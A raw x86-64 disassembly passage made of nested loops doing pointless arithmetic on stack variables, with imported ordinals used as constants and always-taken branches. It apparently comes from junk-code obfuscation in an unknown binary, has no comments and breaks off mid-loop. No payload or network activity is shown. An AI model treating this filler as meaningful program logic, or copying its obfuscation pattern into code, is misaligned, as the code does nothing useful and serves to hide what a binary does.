mov dword [rsp + 0xb88], eax
cmp dword [rsp + 0xb88], 5
jge 0x140184293
mov dword [rsp + 0x2f0], Ordinal_79
mov dword [rsp + 0x784], 0
jmp 0x140183b81
mov eax, dword [rsp + 0x784]
inc eax
mov dword [rsp + 0x784], eax
cmp dword [rsp + 0x784], 8
jge 0x140183db1
mov eax, dword [rsp + 0x784]
add eax, 6
mov dword [rsp + 0x2d4], eax
mov eax, dword [rsp + 0x2d4]
add eax, 5
mov dword [rsp + 0x2d4], eax
cmp dword [rsp + 0x2d4], 0x12
jne 0x140183d9e
mov dword [rsp + 0x2c4], Ordinal_46
mov eax, dword [rsp + 0x2c4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140183bef
mov eax, dword [rsp + 0x2c4]
shl eax, 1
mov dword [rsp + 0x2c4], eax
jmp 0x140183c00
mov eax, dword [rsp + 0x2c4]
add eax, 3
mov dword [rsp + 0x2c4], eax
mov eax, dword [rsp + 0x2d4]
imul eax, dword [rsp + 0x2f0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11a0], eax
mov dword [rsp + 0xb8c], 0
jmp 0x140183c3b
mov eax, dword [rsp + 0xb8c]
inc eax
mov dword [rsp + 0xb8c], eax
cmp dword [rsp + 0xb8c], 5
jge 0x140183d9e
mov dword [rsp + 0xb90], 0x4d
mov dword [rsp + 0x788], 0
jmp 0x140183c71
mov eax, dword [rsp + 0x788]
inc eax
mov dword [rsp + 0x788], eax
cmp dword [rsp + 0x788], 6
jge 0x140183d1d
mov eax, dword [rsp + 0x788]
add eax, 3
mov dword [rsp + 0x2cc], eax
mov eax, dword [rsp + 0x2cc]
add eax, 2
mov dword [rsp + 0x2cc], eax
cmp dword [rsp + 0x2cc], 0xb
jne 0x140183d0a
mov dword [rsp + 0x2c8], Ordinal_46
mov eax, dword [rsp + 0x2c8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140183cdb
mov eax, dword [rsp + 0x2c8]
shl eax, 1
mov dword [rsp + 0x2c8], eax
jmp 0x140183cec
mov eax, dword [rsp + 0x2c8]
add eax, 3
mov dword [rsp + 0x2c8], eax
mov eax, dword [rsp + 0x2cc]
imul eax, dword [rsp + 0xb90]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11a4], eax
cmp dword [rsp + 0x2cc], 0x12
jl 0x140183c90
jmp 0x140183c61
cmp dword [rsp + 0xb90], 0x23
jle 0x140183d99
mov eax, dword [rsp + 0xb90]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xb94], eax
mov dword [rsp + 0x2d0], Ordinal_46
mov eax, dword [rsp + 0x2d0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140183d6d
mov eax, dword [rsp + 0x2d0]
shl eax, 1
mov dword [rsp + 0x2d0], eax
jmp 0x140183d7e
mov eax, dword [rsp + 0x2d0]
add eax, 3
mov dword [rsp + 0x2d0], eax
mov eax, dword [rsp + 0xb94]
sub eax, 4
mov dword [rsp + 0xb94], eax
cmp dword [rsp + 0xb94], 0
jg 0x140183d3d
jmp 0x140183c2b
cmp dword [rsp + 0x2d4], 0x1e
jl 0x140183ba0
jmp 0x140183b71
cmp dword [rsp + 0x2f0], 0x23
jle 0x140184041
mov eax, dword [rsp + 0x2f0]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xba4], eax
mov dword [rsp + 0x78c], 0
jmp 0x140183df2
mov eax, dword [rsp + 0x78c]
inc eax
mov dword [rsp + 0x78c], eax
cmp dword [rsp + 0x78c], 8
jge 0x140184022
mov eax, dword [rsp + 0x78c]
add eax, 6
mov dword [rsp + 0x2e8], eax
mov eax, dword [rsp + 0x2e8]
add eax, 5
mov dword [rsp + 0x2e8], eax
cmp dword [rsp + 0x2e8], 0x12
jne 0x14018400f
mov dword [rsp + 0x2d8], Ordinal_46
mov eax, dword [rsp + 0x2d8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140183e60
mov eax, dword [rsp + 0x2d8]
shl eax, 1
mov dword [rsp + 0x2d8], eax
jmp 0x140183e71
mov eax, dword [rsp + 0x2d8]
add eax, 3
mov dword [rsp + 0x2d8], eax
mov eax, dword [rsp + 0x2e8]
imul eax, dword [rsp + 0x2f0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11a8], eax
mov dword [rsp + 0xb98], 0
jmp 0x140183eac
mov eax, dword [rsp + 0xb98]
inc eax
mov dword [rsp + 0xb98], eax
cmp dword [rsp + 0xb98], 5
jge 0x14018400f
mov dword [rsp + 0xb9c], 0x4d
mov dword [rsp + 0x790], 0
jmp 0x140183ee2
mov eax, dword [rsp + 0x790]
inc eax
mov dword [rsp + 0x790], eax
cmp dword [rsp + 0x790], 6
jge 0x140183f8e
mov eax, dword [rsp + 0x790]
add eax, 3
mov dword [rsp + 0x2e0], eax
mov eax, dword [rsp + 0x2e0]
add eax, 2
mov dword [rsp + 0x2e0], eax
cmp dword [rsp + 0x2e0], 0xb
jne 0x140183f7b
mov dword [rsp + 0x2dc], Ordinal_46
mov eax, dword [rsp + 0x2dc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140183f4c
mov eax, dword [rsp + 0x2dc]
shl eax, 1
mov dword [rsp + 0x2dc], eax
jmp 0x140183f5d
mov eax, dword [rsp + 0x2dc]
add eax, 3
mov dword [rsp + 0x2dc], eax
mov eax, dword [rsp + 0x2e0]
imul eax, dword [rsp + 0xb9c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11ac], eax
cmp dword [rsp + 0x2e0], 0x12
jl 0x140183f01
jmp 0x140183ed2
cmp dword [rsp + 0xb9c], 0x23
jle 0x14018400a
mov eax, dword [rsp + 0xb9c]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xba0], eax
mov dword [rsp + 0x2e4], Ordinal_46
mov eax, dword [rsp + 0x2e4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140183fde
mov eax, dword [rsp + 0x2e4]
shl eax, 1
mov dword [rsp + 0x2e4], eax
jmp 0x140183fef
mov eax, dword [rsp + 0x2e4]
add eax, 3
mov dword [rsp + 0x2e4], eax
mov eax, dword [rsp + 0xba0]
sub eax, 4
mov dword [rsp + 0xba0], eax
cmp dword [rsp + 0xba0], 0
jg 0x140183fae
jmp 0x140183e9c
cmp dword [rsp + 0x2e8], 0x1e
jl 0x140183e11
jmp 0x140183de2
mov eax, dword [rsp + 0xba4]
sub eax, 4
mov dword [rsp + 0xba4], eax
cmp dword [rsp + 0xba4], 0
jg 0x140183dd5
mov dword [rsp + 0x794], 0
jmp 0x14018405e
mov eax, dword [rsp + 0x794]
inc eax
mov dword [rsp + 0x794], eax
cmp dword [rsp + 0x794], 8
jge 0x14018428e
mov eax, dword [rsp + 0x794]
add eax, 6
mov dword [rsp + 0x300], eax
mov eax, dword [rsp + 0x300]
add eax, 5
mov dword [rsp + 0x300], eax
cmp dword [rsp + 0x300], 0x12
jne 0x14018427b
mov dword [rsp + 0x2ec], Ordinal_46
mov eax, dword [rsp + 0x2ec]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401840cc
mov eax, dword [rsp + 0x2ec]
shl eax, 1
mov dword [rsp + 0x2ec], eax
jmp 0x1401840dd
mov eax, dword [rsp + 0x2ec]
add eax, 3
mov dword [rsp + 0x2ec], eax
mov eax, dword [rsp + 0x300]
imul eax, dword [rsp + 0x2f0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11b0], eax
mov dword [rsp + 0xba8], 0
jmp 0x140184118
mov eax, dword [rsp + 0xba8]
inc eax
mov dword [rsp + 0xba8], eax
cmp dword [rsp + 0xba8], 5
jge 0x14018427b
mov dword [rsp + 0xbac], 0x4d
mov dword [rsp + 0x798], 0
jmp 0x14018414e
mov eax, dword [rsp + 0x798]
inc eax
mov dword [rsp + 0x798], eax
cmp dword [rsp + 0x798], 6
jge 0x1401841fa
mov eax, dword [rsp + 0x798]
add eax, 3
mov dword [rsp + 0x2f8], eax
mov eax, dword [rsp + 0x2f8]
add eax, 2
mov dword [rsp + 0x2f8], eax
cmp dword [rsp + 0x2f8], 0xb
jne 0x1401841e7
mov dword [rsp + 0x2f4], Ordinal_46
mov eax, dword [rsp + 0x2f4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401841b8
mov eax, dword [rsp + 0x2f4]
shl eax, 1
mov dword [rsp + 0x2f4], eax
jmp 0x1401841c9
mov eax, dword [rsp + 0x2f4]
add eax, 3
mov dword [rsp + 0x2f4], eax
mov eax, dword [rsp + 0x2f8]
imul eax, dword [rsp + 0xbac]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11b4], eax
cmp dword [rsp + 0x2f8], 0x12
jl 0x14018416d
jmp 0x14018413e
cmp dword [rsp + 0xbac], 0x23
jle 0x140184276
mov eax, dword [rsp + 0xbac]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0xbb0], eax
mov dword [rsp + 0x2fc], Ordinal_46
mov eax, dword [rsp + 0x2fc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018424a
mov eax, dword [rsp + 0x2fc]
shl eax, 1
mov dword [rsp + 0x2fc], eax
jmp 0x14018425b
mov eax, dword [rsp + 0x2fc]
add eax, 3
mov dword [rsp + 0x2fc], eax
mov eax, dword [rsp + 0xbb0]
sub eax, 4
mov dword [rsp + 0xbb0], eax
cmp dword [rsp + 0xbb0], 0
jg 0x14018421a
jmp 0x140184108
cmp dword [rsp + 0x300], 0x1e
jl 0x14018407d
jmp 0x14018404e
jmp 0x140183b3b
jmp 0x14018449b
mov dword [rsp + 0xbb4], 0
jmp 0x1401842b5
mov eax, dword [rsp + 0xbb4]
inc eax
mov dword [rsp + 0xbb4], eax
cmp dword [rsp + 0xbb4], 5
jge 0x14018449b
mov dword [rsp + 0xbb8], 0x59
mov dword [rsp + 0x79c], 0
jmp 0x1401842eb
mov eax, dword [rsp + 0x79c]
inc eax
mov dword [rsp + 0x79c], eax
cmp dword [rsp + 0x79c], 7
jge 0x1401843d9
mov eax, dword [rsp + 0x79c]
add eax, 4
mov dword [rsp + 0x30c], eax
mov eax, dword [rsp + 0x30c]
add eax, 3
mov dword [rsp + 0x30c], eax
cmp dword [rsp + 0x30c], 0xe
jne 0x1401843c6
mov dword [rsp + 0x304], Ordinal_46
mov eax, dword [rsp + 0x304]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140184359
mov eax, dword [rsp + 0x304]
shl eax, 1
mov dword [rsp + 0x304], eax
jmp 0x14018436a
mov eax, dword [rsp + 0x304]
add eax, 3
mov dword [rsp + 0x304], eax
mov eax, dword [rsp + 0x30c]
imul eax, dword [rsp + 0xbb8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11b8], eax
mov dword [rsp + 0x308], Ordinal_46
mov eax, dword [rsp + 0x308]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401843b5
mov eax, dword [rsp + 0x308]
shl eax, 1
mov dword [rsp + 0x308], eax
jmp 0x1401843c6
mov eax, dword [rsp + 0x308]
add eax, 3
mov dword [rsp + 0x308], eax
cmp dword [rsp + 0x30c], 0x19
jl 0x14018430a
jmp 0x1401842db
cmp dword [rsp + 0xbb8], 0x28
jle 0x140184455
mov eax, dword [rsp + 0xbb8]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xbbc], eax
mov dword [rsp + 0x310], Ordinal_46
mov eax, dword [rsp + 0x310]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140184429
mov eax, dword [rsp + 0x310]
shl eax, 1
mov dword [rsp + 0x310], eax
jmp 0x14018443a
mov eax, dword [rsp + 0x310]
add eax, 3
mov dword [rsp + 0x310], eax
mov eax, dword [rsp + 0xbbc]
sub eax, 3
mov dword [rsp + 0xbbc], eax
cmp dword [rsp + 0xbbc], 0
jg 0x1401843f9
mov dword [rsp + 0x314], Ordinal_46
mov eax, dword [rsp + 0x314]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140184485
mov eax, dword [rsp + 0x314]
shl eax, 1
mov dword [rsp + 0x314], eax
jmp 0x140184496
mov eax, dword [rsp + 0x314]
add eax, 3
mov dword [rsp + 0x314], eax
jmp 0x1401842a5
xor eax, eax
test eax, eax
je 0x140185308
xor eax, eax
test eax, eax
je 0x140184bdf
mov dword [rsp + 0xbc0], 0
jmp 0x1401844cc
mov eax, dword [rsp + 0xbc0]
inc eax
mov dword [rsp + 0xbc0], eax
cmp dword [rsp + 0xbc0], 5
jge 0x140184bda
mov dword [rsp + 0xbdc], 0x3f
mov dword [rsp + 0x7a0], 0
jmp 0x140184502
mov eax, dword [rsp + 0x7a0]
inc eax
mov dword [rsp + 0x7a0], eax
cmp dword [rsp + 0x7a0], 6
jge 0x140184882
mov eax, dword [rsp + 0x7a0]
add eax, 5
mov dword [rsp + 0x320], eax
mov eax, dword [rsp + 0x320]
add eax, 4
mov dword [rsp + 0x320], eax
cmp dword [rsp + 0x320], 0x11
jne 0x14018486f
mov dword [rsp + 0xbc4], 0
jmp 0x14018455d
mov eax, dword [rsp + 0xbc4]
inc eax
mov dword [rsp + 0xbc4], eax
cmp dword [rsp + 0xbc4], 5
jge 0x1401846c8
mov dword [rsp + 0xbc8], 0x2a
mov dword [rsp + 0x7a4], 0
jmp 0x140184593
mov eax, dword [rsp + 0x7a4]
inc eax
mov dword [rsp + 0x7a4], eax
cmp dword [rsp + 0x7a4], 4
jge 0x140184642
mov eax, dword [rsp + 0x7a4]
add eax, 2
mov dword [rsp + 0x318], eax
mov eax, dword [rsp + 0x318]
inc eax
mov dword [rsp + 0x318], eax
cmp dword [rsp + 0x318], 7
jne 0x14018462f
mov dword [rsp + 0xb8], Ordinal_79
cmp dword [rsp + 0xb8], 0
jle 0x140184611
mov eax, dword [rsp + 0xb8]
sub eax, 5
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0xb8], 0xa
jne 0x14018460f
mov eax, dword [rsp + 0xb8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb8], eax
jmp 0x1401845d7
mov eax, dword [rsp + 0x318]
imul eax, dword [rsp + 0xbc8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11bc], eax
cmp dword [rsp + 0x318], 0xb
jl 0x1401845b2
jmp 0x140184583
cmp dword [rsp + 0xbc8], 0x14
jle 0x1401846c3
mov eax, dword [rsp + 0xbc8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xbcc], eax
mov dword [rsp + 0xbc], Ordinal_79
cmp dword [rsp + 0xbc], 0
jle 0x1401846a8
mov eax, dword [rsp + 0xbc]
sub eax, 5
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0xa
jne 0x1401846a6
mov eax, dword [rsp + 0xbc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xbc], eax
jmp 0x14018466e
mov eax, dword [rsp + 0xbcc]
sub eax, 2
mov dword [rsp + 0xbcc], eax
cmp dword [rsp + 0xbcc], 0
jg 0x140184663
jmp 0x14018454d
mov eax, dword [rsp + 0x320]
imul eax, dword [rsp + 0xbdc]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x11c0], eax
mov dword [rsp + 0xbd0], 0
jmp 0x140184704
mov eax, dword [rsp + 0xbd0]
inc eax
mov dword [rsp + 0xbd0], eax
cmp dword [rsp + 0xbd0], 5
jge 0x14018486f
mov dword [rsp + 0xbd4], 0x2a
mov dword [rsp + 0x7a8], 0
jmp 0x14018473a
mov eax, dword [rsp + 0x7a8]
inc eax
mov dword [rsp + 0x7a8], eax
cmp dword [rsp + 0x7a8], 4
jge 0x1401847e9
mov eax, dword [rsp + 0x7a8]
add eax, 2
mov dword [rsp + 0x31c], eax
mov eax, dword [rsp + 0x31c]
inc eax
mov dword [rsp + 0x31c], eax
cmp dword [rsp + 0x31c], 7
jne 0x1401847d6
mov dword [rsp + 0xc0], Ordinal_79
cmp dword [rsp + 0xc0], 0
jle 0x1401847b8
mov eax, dword [rsp + 0xc0]
sub eax, 5
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0xa
jne 0x1401847b6
mov eax, dword [rsp + 0xc0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xc0], eax
jmp 0x14018477e
mov eax, dword [rsp + 0x31c]
imul eax, dword [rsp + 0xbd4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11c4], eax
cmp dword [rsp + 0x31c], 0xb
jl 0x140184759
jmp 0x14018472a
cmp dword [rsp + 0xbd4], 0x14
jle 0x14018486a
mov eax, dword [rsp + 0xbd4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xbd8], eax
mov dword [rsp + 0xc4], Ordinal_79
cmp dword [rsp + 0xc4], 0
jle 0x14018484f
mov eax, dword [rsp + 0xc4]
sub eax, 5
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 0xa
jne 0x14018484d
mov eax, dword [rsp + 0xc4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xc4], eax
jmp 0x140184815
mov eax, dword [rsp + 0xbd8]
sub eax, 2
mov dword [rsp + 0xbd8], eax
cmp dword [rsp + 0xbd8], 0
jg 0x14018480a
jmp 0x1401846f4
cmp dword [rsp + 0x320], 0x1c
jl 0x140184521
jmp 0x1401844f2
cmp dword [rsp + 0xbdc], 0x1e
jle 0x140184a4d
mov eax, dword [rsp + 0xbdc]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0xbec], eax
mov dword [rsp + 0xbe0], 0
jmp 0x1401848c3
mov eax, dword [rsp + 0xbe0]
inc eax
mov dword [rsp + 0xbe0], eax
cmp dword [rsp + 0xbe0], 5
jge 0x140184a2e
mov dword [rsp + 0xbe4], 0x2a
mov dword [rsp + 0x7ac], 0
jmp 0x1401848f9
mov eax, dword [rsp + 0x7ac]
inc eax
mov dword [rsp + 0x7ac], eax
cmp dword [rsp + 0x7ac], 4
jge 0x1401849a8
mov eax, dword [rsp + 0x7ac]
add eax, 2
mov dword [rsp + 0x324], eax
mov eax, dword [rsp + 0x324]
inc eax
mov dword [rsp + 0x324], eax
cmp dword [rsp + 0x324], 7
jne 0x140184995
mov dword [rsp + 0xc8], Ordinal_79
cmp dword [rsp + 0xc8], 0
jle 0x140184977
mov eax, dword [rsp + 0xc8]
sub eax, 5
mov dword [rsp + 0xc8], eax
cmp dword [rsp + 0xc8], 0xa
jne 0x140184975
mov eax, dword [rsp + 0xc8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xc8], eax
jmp 0x14018493d
mov eax, dword [rsp + 0x324]
imul eax, dword [rsp + 0xbe4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11c8], eax
cmp dword [rsp + 0x324], 0xb
jl 0x140184918
jmp 0x1401848e9
cmp dword [rsp + 0xbe4], 0x14
jle 0x140184a29
mov eax, dword [rsp + 0xbe4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xbe8], eax
mov dword [rsp + 0xcc], Ordinal_79
cmp dword [rsp + 0xcc], 0
jle 0x140184a0e
mov eax, dword [rsp + 0xcc]
sub eax, 5
mov dword [rsp + 0xcc], eax
cmp dword [rsp + 0xcc], 0xa
jne 0x140184a0c
mov eax, dword [rsp + 0xcc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xcc], eax
jmp 0x1401849d4
mov eax, dword [rsp + 0xbe8]
sub eax, 2
mov dword [rsp + 0xbe8], eax
cmp dword [rsp + 0xbe8], 0
jg 0x1401849c9
jmp 0x1401848b3
mov eax, dword [rsp + 0xbec]
sub eax, 2
mov dword [rsp + 0xbec], eax
cmp dword [rsp + 0xbec], 0
jg 0x1401848a6
mov dword [rsp + 0xbf0], 0
jmp 0x140184a6a
mov eax, dword [rsp + 0xbf0]
inc eax
mov dword [rsp + 0xbf0], eax
cmp dword [rsp + 0xbf0], 5
jge 0x140184bd5
mov dword [rsp + 0xbf4], 0x2a
mov dword [rsp + 0x7b0], 0
jmp 0x140184aa0
mov eax, dword [rsp + 0x7b0]
inc eax
mov dword [rsp + 0x7b0], eax
cmp dword [rsp + 0x7b0], 4
jge 0x140184b4f
mov eax, dword [rsp + 0x7b0]
add eax, 2
mov dword [rsp + 0x328], eax
mov eax, dword [rsp + 0x328]
inc eax
mov dword [rsp + 0x328], eax
cmp dword [rsp + 0x328], 7
jne 0x140184b3c
mov dword [rsp + 0xd0], Ordinal_79
cmp dword [rsp + 0xd0], 0
jle 0x140184b1e
mov eax, dword [rsp + 0xd0]
sub eax, 5
mov dword [rsp + 0xd0], eax
cmp dword [rsp + 0xd0], 0xa
jne 0x140184b1c
mov eax, dword [rsp + 0xd0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd0], eax
jmp 0x140184ae4
mov eax, dword [rsp + 0x328]
imul eax, dword [rsp + 0xbf4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11cc], eax
cmp dword [rsp + 0x328], 0xb
jl 0x140184abf
jmp 0x140184a90
cmp dword [rsp + 0xbf4], 0x14
jle 0x140184bd0
mov eax, dword [rsp + 0xbf4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xbf8], eax
mov dword [rsp + 0xd4], Ordinal_79
cmp dword [rsp + 0xd4], 0
jle 0x140184bb5
mov eax, dword [rsp + 0xd4]
sub eax, 5
mov dword [rsp + 0xd4], eax
cmp dword [rsp + 0xd4], 0xa
jne 0x140184bb3
mov eax, dword [rsp + 0xd4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd4], eax
jmp 0x140184b7b
mov eax, dword [rsp + 0xbf8]
sub eax, 2
mov dword [rsp + 0xbf8], eax
cmp dword [rsp + 0xbf8], 0
jg 0x140184b70
jmp 0x140184a5a
jmp 0x1401844bc
jmp 0x140185308
mov dword [rsp + 0xbfc], 0
jmp 0x140184bfc
mov eax, dword [rsp + 0xbfc]
inc eax
mov dword [rsp + 0xbfc], eax
cmp dword [rsp + 0xbfc], 5
jge 0x140185308
mov dword [rsp + 0xc18], 0x34
mov dword [rsp + 0x7b4], 0
jmp 0x140184c32
mov eax, dword [rsp + 0x7b4]
inc eax
mov dword [rsp + 0x7b4], eax
cmp dword [rsp + 0x7b4], 7
jge 0x140184fb1
mov eax, dword [rsp + 0x7b4]
add eax, 4
mov dword [rsp + 0x334], eax
mov eax, dword [rsp + 0x334]
add eax, 3
mov dword [rsp + 0x334], eax
cmp dword [rsp + 0x334], 0x10
jne 0x140184f9e
mov dword [rsp + 0xc00], 0
jmp 0x140184c8d
mov eax, dword [rsp + 0xc00]
inc eax
mov dword [rsp + 0xc00], eax
cmp dword [rsp + 0xc00], 5
jge 0x140184df8
mov dword [rsp + 0xc04], 0x2a
mov dword [rsp + 0x7b8], 0
jmp 0x140184cc3
mov eax, dword [rsp + 0x7b8]
inc eax
mov dword [rsp + 0x7b8], eax
cmp dword [rsp + 0x7b8], 4
jge 0x140184d72
mov eax, dword [rsp + 0x7b8]
add eax, 2
mov dword [rsp + 0x32c], eax
mov eax, dword [rsp + 0x32c]
inc eax
mov dword [rsp + 0x32c], eax
cmp dword [rsp + 0x32c], 7
jne 0x140184d5f
mov dword [rsp + 0xd8], Ordinal_79
cmp dword [rsp + 0xd8], 0
jle 0x140184d41
mov eax, dword [rsp + 0xd8]
sub eax, 5
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 0xa
jne 0x140184d3f
mov eax, dword [rsp + 0xd8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd8], eax
jmp 0x140184d07
mov eax, dword [rsp + 0x32c]
imul eax, dword [rsp + 0xc04]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11d0], eax
cmp dword [rsp + 0x32c], 0xb
jl 0x140184ce2
jmp 0x140184cb3
cmp dword [rsp + 0xc04], 0x14
jle 0x140184df3
mov eax, dword [rsp + 0xc04]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xc08], eax
mov dword [rsp + 0xdc], Ordinal_79
cmp dword [rsp + 0xdc], 0
jle 0x140184dd8
mov eax, dword [rsp + 0xdc]
sub eax, 5
mov dword [rsp + 0xdc], eax
cmp dword [rsp + 0xdc], 0xa
jne 0x140184dd6
mov eax, dword [rsp + 0xdc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xdc], eax
jmp 0x140184d9e
mov eax, dword [rsp + 0xc08]
sub eax, 2
mov dword [rsp + 0xc08], eax
cmp dword [rsp + 0xc08], 0
jg 0x140184d93
jmp 0x140184c7d
mov eax, dword [rsp + 0x334]
imul eax, dword [rsp + 0xc18]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x11d4], eax
mov dword [rsp + 0xc0c], 0
jmp 0x140184e33
mov eax, dword [rsp + 0xc0c]
inc eax
mov dword [rsp + 0xc0c], eax
cmp dword [rsp + 0xc0c], 5
jge 0x140184f9e
mov dword [rsp + 0xc10], 0x2a
mov dword [rsp + 0x7bc], 0
jmp 0x140184e69
mov eax, dword [rsp + 0x7bc]
inc eax
mov dword [rsp + 0x7bc], eax
cmp dword [rsp + 0x7bc], 4
jge 0x140184f18
mov eax, dword [rsp + 0x7bc]
add eax, 2
mov dword [rsp + 0x330], eax
mov eax, dword [rsp + 0x330]
inc eax
mov dword [rsp + 0x330], eax
cmp dword [rsp + 0x330], 7
jne 0x140184f05
mov dword [rsp + 0xe0], Ordinal_79
cmp dword [rsp + 0xe0], 0
jle 0x140184ee7
mov eax, dword [rsp + 0xe0]
sub eax, 5
mov dword [rsp + 0xe0], eax
cmp dword [rsp + 0xe0], 0xa
jne 0x140184ee5
mov eax, dword [rsp + 0xe0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe0], eax
jmp 0x140184ead
mov eax, dword [rsp + 0x330]
imul eax, dword [rsp + 0xc10]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11d8], eax
cmp dword [rsp + 0x330], 0xb
jl 0x140184e88
jmp 0x140184e59
cmp dword [rsp + 0xc10], 0x14
jle 0x140184f99
mov eax, dword [rsp + 0xc10]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xc14], eax
mov dword [rsp + 0xe4], Ordinal_79
cmp dword [rsp + 0xe4], 0
jle 0x140184f7e
mov eax, dword [rsp + 0xe4]
sub eax, 5
mov dword [rsp + 0xe4], eax
cmp dword [rsp + 0xe4], 0xa
jne 0x140184f7c
mov eax, dword [rsp + 0xe4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe4], eax
jmp 0x140184f44
mov eax, dword [rsp + 0xc14]
sub eax, 2
mov dword [rsp + 0xc14], eax
cmp dword [rsp + 0xc14], 0
jg 0x140184f39
jmp 0x140184e23
cmp dword [rsp + 0x334], 0x1b
jl 0x140184c51
jmp 0x140184c22
cmp dword [rsp + 0xc18], 0x19
jle 0x14018517b
mov eax, dword [rsp + 0xc18]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0xc28], eax
mov dword [rsp + 0xc1c], 0
jmp 0x140184ff2
mov eax, dword [rsp + 0xc1c]
inc eax
mov dword [rsp + 0xc1c], eax
cmp dword [rsp + 0xc1c], 5
jge 0x14018515d
mov dword [rsp + 0xc20], 0x2a
mov dword [rsp + 0x7c0], 0
jmp 0x140185028
mov eax, dword [rsp + 0x7c0]
inc eax
mov dword [rsp + 0x7c0], eax
cmp dword [rsp + 0x7c0], 4
jge 0x1401850d7
mov eax, dword [rsp + 0x7c0]
add eax, 2
mov dword [rsp + 0x338], eax
mov eax, dword [rsp + 0x338]
inc eax
mov dword [rsp + 0x338], eax
cmp dword [rsp + 0x338], 7
jne 0x1401850c4
mov dword [rsp + 0xe8], Ordinal_79
cmp dword [rsp + 0xe8], 0
jle 0x1401850a6
mov eax, dword [rsp + 0xe8]
sub eax, 5
mov dword [rsp + 0xe8], eax
cmp dword [rsp + 0xe8], 0xa
jne 0x1401850a4
mov eax, dword [rsp + 0xe8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe8], eax
jmp 0x14018506c
mov eax, dword [rsp + 0x338]
imul eax, dword [rsp + 0xc20]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11dc], eax
cmp dword [rsp + 0x338], 0xb
jl 0x140185047
jmp 0x140185018
cmp dword [rsp + 0xc20], 0x14
jle 0x140185158
mov eax, dword [rsp + 0xc20]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xc24], eax
mov dword [rsp + 0xec], Ordinal_79
cmp dword [rsp + 0xec], 0
jle 0x14018513d
mov eax, dword [rsp + 0xec]
sub eax, 5
mov dword [rsp + 0xec], eax
cmp dword [rsp + 0xec], 0xa
jne 0x14018513b
mov eax, dword [rsp + 0xec]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xec], eax
jmp 0x140185103
mov eax, dword [rsp + 0xc24]
sub eax, 2
mov dword [rsp + 0xc24], eax
cmp dword [rsp + 0xc24], 0
jg 0x1401850f8
jmp 0x140184fe2
mov eax, dword [rsp + 0xc28]
dec eax
mov dword [rsp + 0xc28], eax
cmp dword [rsp + 0xc28], 0
jg 0x140184fd5
mov dword [rsp + 0xc2c], 0
jmp 0x140185198
mov eax, dword [rsp + 0xc2c]
inc eax
mov dword [rsp + 0xc2c], eax
cmp dword [rsp + 0xc2c], 5
